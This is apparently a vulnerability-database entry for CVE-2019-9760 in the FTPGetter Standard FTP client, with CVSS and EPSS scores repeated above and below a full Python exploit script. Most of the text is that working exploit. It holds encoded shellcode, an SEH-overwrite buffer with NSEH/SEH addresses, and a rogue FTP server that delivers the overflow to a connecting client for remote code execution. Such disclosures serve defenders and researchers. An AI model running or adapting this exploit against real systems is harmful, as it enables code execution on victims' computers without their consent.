9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.175 Low
EPSS
Percentile
96.1%
# Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution
# Date: 05/03/2019
# Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5
# Vendor Homepage: https://www.ftpgetter.com
# Software Link: https://www.ftpgetter.com/ftpgetter_setup.exe
# Version: v.5.97.0.177
# Tested on: Windows 7 x64
# CVE : CVE-2019-9760
import socket
import struct
import time
import sys
# badchars = (
# "\x59\x5a\x5b\x5c\x00\x0a\x0d\x20\x40\x1a\x80\x82\x83\x84\x85\x86\x87"
# "\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
# "\x9c\x9e\x9f\xc0\xc1" .....
# )
# x86/alpha_mixed simple fixer -> bytes "\x89\xe3\xd9\xe1\xd9\x73\xf4"
calc = ""
calc += "\x54" # push esp
calc += "\x58" # pop eax
calc += "\x05\x43\x06\x00\x00" # add eax,0x643
calc += "\x50" # push eax
calc += "\x5f" # pop edi
calc += "\x25\x4A\x4D\x4E\x55" # zerout EAX
calc += "\x25\x35\x32\x31\x2A" # zerout EAX
calc += "\x04\xab" # ADD AL,0xab
calc += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX
calc += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX
calc += "\x31\x47\x02" # XOR DWORD PTR DS:[EDI+2],EAX
calc += "\x2C\x5B" # SUB AL,0x5b -> EAX = 0x50
calc += "\x31\x47\x03" # XOR DWORD PTR DS:[EDI+3],EAX
calc += "\x31\x47\x04" # XOR DWORD PTR DS:[EDI+4],EAX
calc += "\x90\x90\x90\x90" # padding
# "\x89\xe3"
calc += "\x54" # push esp
calc += "\x5b" # pop ebx
# "\xd9\xe1\xd9" xored: 0xab
calc += "\x72\x4a\x72"
# \x73\xf4 xored: 0x50
calc += "\x23\xa4"
calc += "\x58\x50\x59\x49\x49\x49"
calc += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
calc += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
calc += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
calc += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
calc += "\x4a\x49\x58\x59\x48\x4b\x4f\x4e\x48\x39\x47\x53\x45"
calc += "\x37\x56\x51\x38\x59\x32\x54\x51\x34\x5a\x54\x51\x4a"
calc += "\x51\x39\x4f\x39\x58\x31\x45\x43\x56\x51\x53\x42\x35"
calc += "\x49\x4b\x33\x48\x42\x55\x54\x45\x53\x43\x42\x45\x45"
calc += "\x31\x4b\x58\x56\x50\x56\x4d\x33\x39\x59\x32\x51\x4a"
calc += "\x5a\x32\x42\x4b\x31\x4d\x32\x43\x45\x4b\x32\x44\x4b"
calc += "\x4e\x53\x4d\x31\x49\x50\x38\x59\x34\x4b\x55\x31\x49"
calc += "\x30\x54\x51\x5a\x47\x55\x53\x57\x31\x4d\x54\x53\x4c"
calc += "\x59\x4b\x49\x42\x49\x38\x4d\x4a\x5a\x37\x4f\x4a\x33"
calc += "\x58\x34\x50\x4b\x4b\x51\x4b\x5a\x48\x4e\x4d\x42\x50"
calc += "\x53\x4b\x46\x48\x4e\x53\x4b\x36\x35\x58\x42\x44\x4e"
calc += "\x4c\x30\x52\x54\x4e\x4c\x4d\x59\x4d\x46\x4d\x37\x4c"
calc += "\x37\x4c\x4f\x50\x4b\x4c\x4f\x4c\x4c\x42\x57\x53\x49"
calc += "\x38\x58\x57\x4d\x44\x32\x4e\x57\x53\x38\x59\x5a\x43"
calc += "\x33\x35\x49\x44\x43\x35\x4c\x32\x45\x4b\x5a\x49\x35"
calc += "\x59\x51\x4a\x35\x4c\x50\x39\x4f\x4d\x41\x41"
# Encode addresses and create jmp esp
# Calculate jmp esp offset and put it on stack
jump_back = "\x55" # push ebp
jump_back += "\x58" # pop eax
jump_back += "\x05\x2b\x08\x00\x00" # add eax,2091
jump_back += "\x50" # push eax
# zerout EAX
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235
jump_back += "\x3E\x33\x04\x24" # XOR EAX,DWORD PTR DS:[ESP] -> send stack addr to EAX
jump_back += "\x50" # push eax
jump_back += "\x5f" # pop edi
# zerout EAX
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235
jump_back += "\x04\x81" # ADD AL,0x81
jump_back += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX
jump_back += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX
jump_back += "\x90\x90\x90\x90" # padding
# Tool utilized: https://github.com/ihack4falafel/Slink
# All rights reserved to ihack4falafel
#
# \x54\x58\x66\x05\x04\x06\x50\xc3
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235
jump_back += "\x05\x02\x03\x30\x62" # add eax, 0x62300302
jump_back += "\x05\x02\x03\x20\x61" # add eax, 0x61200302
jump_back += "\x50" # push eax
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235
jump_back += "\x05\x32\x34\x33\x03" # add eax, 0x03333432
jump_back += "\x05\x22\x24\x33\x02" # add eax, 0x02332422
jump_back += "\x50" # push eax
# jump to second shellcode
jump_back += "\x7e\x65" # jmp esp xored: 0x81
# Overflow size 493
payload = "\x90" * 29
payload += calc # shellcode
payload += "\x90" * (493 - len(payload)) # padding
payload += "\x7e\x06\x90\x90" # NSEH
payload += "\x31\x20\x77\x00" # SEH -> POP ESI # POP EBX # RETN
payload += "\x90\x90\x90\x90"
payload += jump_back # jump to our calc
payload += "\x90" * 700 # Final padding
try:
host, port = "0.0.0.0", 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, int(port)))
s.listen(5)
print "[*] Listening server at port: {}".format(port)
print "[*] Waiting for the client!.."
except Exception as e:
print "[-] Failed attempt to create bind socket!"
sys.exit(0)
try:
conn, client = s.accept()
conn.send("220 Welcome to server !\r\n")
conn.recv(1024)
print "[+] User started communication with server!"
conn.send("331 anonymous OK!\r\n")
conn.recv(1024)
print "[+] Received anonymous user from the client!"
print "[*] CALC shellcode Length: " + str(len(calc))
print "[*] Jump Back shellcode Length: " + str(len(jump_back))
print "[*] Payload final size: " + str(len(payload))
print "[!] Attempting to send payload!..."
conn.send("230 " + payload + "\r\n")
time.sleep(1)
print "[+] You should have your poped calc!"
conn.close()
s.close()
except:
print "[-] Failed attempt to send payload!"
sys.exit(0)
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.175 Low
EPSS
Percentile
96.1%